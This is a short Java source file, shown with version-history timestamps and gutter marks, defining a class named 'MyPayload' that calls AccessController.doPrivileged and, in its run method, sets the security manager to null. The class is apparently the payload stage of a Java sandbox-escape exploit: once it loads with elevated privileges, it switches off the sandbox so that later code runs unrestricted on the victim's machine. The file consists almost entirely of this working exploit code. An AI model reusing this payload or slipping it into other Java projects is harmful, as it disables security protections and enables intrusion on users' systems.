2012-11-11 16:05:51 +00:00
|
|
|
import java.security.*;
|
|
|
|
|
|
|
|
public class MyPayload
|
|
|
|
implements PrivilegedExceptionAction
|
|
|
|
{
|
|
|
|
|
|
|
|
public MyPayload()
|
|
|
|
{
|
|
|
|
try
|
|
|
|
{
|
|
|
|
AccessController.doPrivileged(this);
|
|
|
|
}
|
|
|
|
catch(PrivilegedActionException e)
|
|
|
|
{
|
|
|
|
//e.printStackTrace();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
public Object run()
|
|
|
|
throws Exception
|
|
|
|
{
|
|
|
|
System.setSecurityManager(null);
|
|
|
|
return null;
|
|
|
|
}
|
|
|
|
|
|
|
|
public static void r()
|
|
|
|
throws Exception
|
|
|
|
{
|
2012-11-11 19:11:33 +00:00
|
|
|
//System.out.println("hello!");
|
2012-11-11 16:05:51 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|